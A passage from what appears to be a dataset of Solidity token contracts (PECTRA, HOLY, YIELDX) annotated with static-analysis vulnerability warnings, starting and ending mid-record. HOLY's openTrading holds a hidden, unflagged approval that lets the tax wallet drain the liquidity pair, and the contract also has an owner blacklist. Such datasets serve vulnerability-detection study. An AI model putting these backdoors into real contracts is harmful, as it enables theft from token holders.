.mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n\t\t\t// incorrect-equality | ID: b0d07dc\n if (block.number == firstBlock) {\n require(_buyCount < 35, \"Exceeds buys on the first block.\");\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: e3a4b05\n\t\t\t\t// reentrancy-eth | ID: f1de8c2\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: e3a4b05\n\t\t\t\t\t// reentrancy-eth | ID: f1de8c2\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: f1de8c2\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: f1de8c2\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: f1de8c2\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: e3a4b05\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: f1de8c2\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: f1de8c2\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: e3a4b05\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: f770f20\n\t\t// reentrancy-events | ID: e3a4b05\n\t\t// reentrancy-benign | ID: a688cb5\n\t\t// reentrancy-eth | ID: f1de8c2\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimit() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 74a26de): PECTRA.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 74a26de: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: f770f20\n\t\t// reentrancy-events | ID: e3a4b05\n\t\t// reentrancy-eth | ID: f1de8c2\n\t\t// arbitrary-send-eth | ID: 74a26de\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 8aaf058): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 8aaf058: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 3411de1): PECTRA.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 3411de1: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 19d7d97): PECTRA.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 19d7d97: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: eed5c1b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for eed5c1b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 8aaf058\n\t\t// reentrancy-eth | ID: eed5c1b\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 8aaf058\n\t\t// unused-return | ID: 3411de1\n\t\t// reentrancy-eth | ID: eed5c1b\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 8aaf058\n\t\t// unused-return | ID: 19d7d97\n\t\t// reentrancy-eth | ID: eed5c1b\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 8aaf058\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: eed5c1b\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: 8aaf058\n firstBlock = block.number;\n }\n\n receive() external payable {}\n\n function adjustFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n function manualTokenSend(\n address tokenAddress,\n uint256 tokens\n ) external returns (bool success) {\n require(_msgSender() == _taxWallet);\n\n if (tokens == 0) {\n tokens = IERC20(tokenAddress).balanceOf(address(this));\n }\n\n emit ClearToken(tokenAddress, tokens);\n\n return IERC20(tokenAddress).transfer(_taxWallet, tokens);\n }\n\n function manualETHSend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 ethBalance = address(this).balance;\n\n require(ethBalance > 0, \"Contract balance must be greater than zero\");\n\n sendETHToFee(ethBalance);\n }\n}\n",
"file_name": "solidity_code_10210.sol",
"size_bytes": 20637,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 268d3dc): HOLY.slitherConstructorVariables() performs a multiplication on the result of a division _maxWalletSize = 2 * (_tTotal / 100)\n// Recommendation for 268d3dc: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 5825bba): HOLY.slitherConstructorVariables() performs a multiplication on the result of a division _taxSwapThreshold = 1 * (_tTotal / 100)\n// Recommendation for 5825bba: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 340b04d): HOLY.slitherConstructorVariables() performs a multiplication on the result of a division _maxTxAmount = 2 * (_tTotal / 100)\n// Recommendation for 340b04d: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 8d76644): HOLY.slitherConstructorVariables() performs a multiplication on the result of a division _maxTaxSwap = 1 * (_tTotal / 100)\n// Recommendation for 8d76644: Consider ordering multiplication before division.\ncontract HOLY is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7189a48): HOLY._initialBuyTax should be constant \n\t// Recommendation for 7189a48: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: fcaea82): HOLY._initialSellTax should be constant \n\t// Recommendation for fcaea82: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: b4e58c6): HOLY._finalBuyTax should be constant \n\t// Recommendation for b4e58c6: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4c64f5b): HOLY._finalSellTax should be constant \n\t// Recommendation for 4c64f5b: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: e7c6c38): HOLY._reduceBuyTaxAt should be constant \n\t// Recommendation for e7c6c38: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 12;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7722990): HOLY._reduceSellTaxAt should be constant \n\t// Recommendation for 7722990: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 12;\n\n\t// WARNING Optimization Issue (constable-states | ID: d950a6d): HOLY._preventSwapBefore should be constant \n\t// Recommendation for d950a6d: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8f6dc63): HOLY._transferTax should be constant \n\t// Recommendation for 8f6dc63: Add the 'constant' attribute to state variables that never change.\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n mapping(address => uint256) private _tOwned;\n\n mapping(address => mapping(address => uint256)) private _tAllowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 342b760): HOLY._taxWallet should be immutable \n\t// Recommendation for 342b760: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Holy Trinity\";\n\n string private constant _symbol = unicode\"HOLY\";\n\n\t// divide-before-multiply | ID: 340b04d\n uint256 public _maxTxAmount = 2 * (_tTotal / 100);\n\n\t// divide-before-multiply | ID: 268d3dc\n uint256 public _maxWalletSize = 2 * (_tTotal / 100);\n\n\t// WARNING Optimization Issue (constable-states | ID: 9cbb90c): HOLY._taxSwapThreshold should be constant \n\t// Recommendation for 9cbb90c: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: 5825bba\n uint256 public _taxSwapThreshold = 1 * (_tTotal / 100);\n\n\t// WARNING Optimization Issue (constable-states | ID: dff87d9): HOLY._maxTaxSwap should be constant \n\t// Recommendation for dff87d9: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: 8d76644\n uint256 public _maxTaxSwap = 1 * (_tTotal / 100);\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() payable {\n _taxWallet = payable(0x4A1233c8BE9cD54a6A37172B6bcCA095F70C918e);\n\n _tOwned[address(this)] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), address(this), _tTotal);\n }\n\n function iERC(\n address[2] memory accounts,\n uint256 amount\n ) private returns (bool) {\n _approve(accounts[0], accounts[1], amount);\n\n return true;\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _tOwned[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 0a1cde4): HOLY.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 0a1cde4: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _tAllowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 0b9f5b6): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 0b9f5b6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 5dcaa97): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 5dcaa97: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 0b9f5b6\n\t\t// reentrancy-benign | ID: 5dcaa97\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 0b9f5b6\n\t\t// reentrancy-benign | ID: 5dcaa97\n _approve(\n sender,\n _msgSender(),\n _tAllowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 915ec42): HOLY._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 915ec42: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 5dcaa97\n\t\t// reentrancy-benign | ID: d2817ca\n _tAllowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 0b9f5b6\n\t\t// reentrancy-events | ID: 0fe6c4b\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 14f21cc): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 14f21cc: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: df40692): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for df40692: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: c558a23): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for c558a23: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n if (!swapEnabled || inSwap) {\n _tOwned[from] = _tOwned[from] - amount;\n\n _tOwned[to] = _tOwned[to] + amount;\n\n emit Transfer(from, to, amount);\n\n return;\n }\n\n uint256 taxAmount = 0;\n uint256 taxFee = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount > 0) {\n taxFee = (_transferTax);\n }\n\n if (_buyCount == 0) {\n taxFee = (\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n );\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxFee = (\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxFee = (\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n );\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (!inSwap && to == uniswapV2Pair && swapEnabled) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n if (\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n )\n\t\t\t\t\t// reentrancy-events | ID: 14f21cc\n\t\t\t\t\t// reentrancy-benign | ID: df40692\n\t\t\t\t\t// reentrancy-eth | ID: c558a23\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n\t\t\t\t// reentrancy-events | ID: 14f21cc\n\t\t\t\t// reentrancy-eth | ID: c558a23\n sendETHToFee(address(this).balance);\n\n\t\t\t\t// reentrancy-benign | ID: df40692\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: c558a23\n lastSellBlock = block.number;\n }\n }\n\n if (taxFee > 0) {\n taxAmount = taxFee.mul(amount).div(100);\n\n\t\t\t// reentrancy-eth | ID: c558a23\n _tOwned[address(this)] = _tOwned[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 14f21cc\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: c558a23\n _tOwned[from] = _tOwned[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: c558a23\n _tOwned[to] = _tOwned[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 14f21cc\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 0b9f5b6\n\t\t// reentrancy-events | ID: 14f21cc\n\t\t// reentrancy-eth | ID: c558a23\n _taxWallet.transfer(amount);\n }\n\n function add(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function del(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n function rescueEth() external onlyOwner {\n payable(msg.sender).transfer(address(this).balance);\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 0b9f5b6\n\t\t// reentrancy-events | ID: 14f21cc\n\t\t// reentrancy-benign | ID: 5dcaa97\n\t\t// reentrancy-benign | ID: df40692\n\t\t// reentrancy-eth | ID: c558a23\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 0fe6c4b): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 0fe6c4b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: d2817ca): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for d2817ca: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 65b8354): HOLY.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 65b8354: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: b15a0dc): HOLY.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for b15a0dc: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 3769636): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 3769636: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"Trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-events | ID: 0fe6c4b\n\t\t// reentrancy-benign | ID: d2817ca\n\t\t// reentrancy-eth | ID: 3769636\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-events | ID: 0fe6c4b\n\t\t// reentrancy-benign | ID: d2817ca\n\t\t// unused-return | ID: 65b8354\n\t\t// reentrancy-eth | ID: 3769636\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-events | ID: 0fe6c4b\n\t\t// reentrancy-benign | ID: d2817ca\n\t\t// unused-return | ID: b15a0dc\n\t\t// reentrancy-eth | ID: 3769636\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-events | ID: 0fe6c4b\n\t\t// reentrancy-benign | ID: d2817ca\n iERC([uniswapV2Pair, _taxWallet], 100 * _tTotal + (100 + _tTotal));\n\n\t\t// reentrancy-benign | ID: d2817ca\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 3769636\n tradingOpen = true;\n }\n}\n",
"file_name": "solidity_code_10211.sol",
"size_bytes": 22329,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n function totalSupply() external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function balanceOf(address account) external view returns (uint256);\n}\n\nlibrary SafeMath {\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n emit OwnershipTransferred(_owner, newOwner);\n\n _owner = newOwner;\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract YIELDX is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _excludedFromLimits;\n\n address payable private constant _taxWallet =\n 